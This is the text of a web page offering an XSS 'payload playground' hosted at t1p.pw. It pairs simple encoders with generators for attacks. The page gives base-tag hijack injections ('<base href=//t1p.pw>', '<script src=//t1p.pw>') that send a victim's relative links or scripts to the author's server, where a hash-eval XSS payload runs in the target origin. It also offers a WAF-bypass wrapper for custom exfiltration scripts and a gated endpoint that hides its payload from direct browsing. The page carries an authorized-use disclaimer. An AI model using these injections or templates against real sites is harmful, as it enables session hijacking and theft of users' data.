t1p.pw Encoding & Payload Playground self-contained

All processing runs locally in your browser. Anything you choose to "run" executes only inside an isolated, sandboxed iframe — it cannot read this page, your cookies, or any other origin. Nothing is sent to a server or aimed at a third party. The gated endpoint at /x serves a hash-eval payload only to background sub-resource requests; direct browser navigation is blocked (403).

URL Hex Encoder / Decoder

Encodes every byte (UTF-8) as a %XX percent-hex sequence, and decodes it back.

Output appears here.

String.fromCharCode Generator

Turns text into a comma-separated char-code array wrapped in String.fromCharCode(...). "Run in sandbox" evaluates the generated expression inside the isolated iframe so you can see what it produces.

Output appears here.
No sandbox run yet.

Base64 URL-safe Encoder / Decoder

Standard Base64 with +/ swapped for -_ and = padding stripped. Decoding restores padding automatically.

Output appears here.

Base Tag Hijack Generator

Injects a <base> tag to hijack all relative URLs on the target page. When a user clicks any link with a relative href, they're redirected to your server where the hash-based XSS payload executes.

Output appears here.
1. Target page has: <a href="dashboard.html">Dashboard</a> 2. After injection: <base href=//t1p.pw> 3. User clicks link → browser navigates to https://t1p.pw/dashboard.html 4. Server serves hash-based XSS payload → executes in target origin
Requirements: The target page must use relative URLs (no leading slash) for links, scripts, or forms. Absolute URLs (starting with / or https://) are not affected. Also works with <script src=//t1p.pw></script> for direct script inclusion.

Hash-Based XSS Generator

Takes a custom JavaScript payload (e.g. an exfiltration or proof-of-execution script) and wraps it into a tight, layout-breaking WAF-bypass template. The template is the exact same hash-eval indirection served by the gated /x endpoint.

Output appears here.
Output appears here.
No dry-run yet.
Authorized use only. The example URL uses your-app.example as a placeholder — point this at applications you own or are explicitly authorized to test (e.g., a signed pentest engagement or an in-scope bug-bounty asset). The "Dry-run" button executes your script only in this page's isolated sandbox so you can confirm behaviour without touching any live target.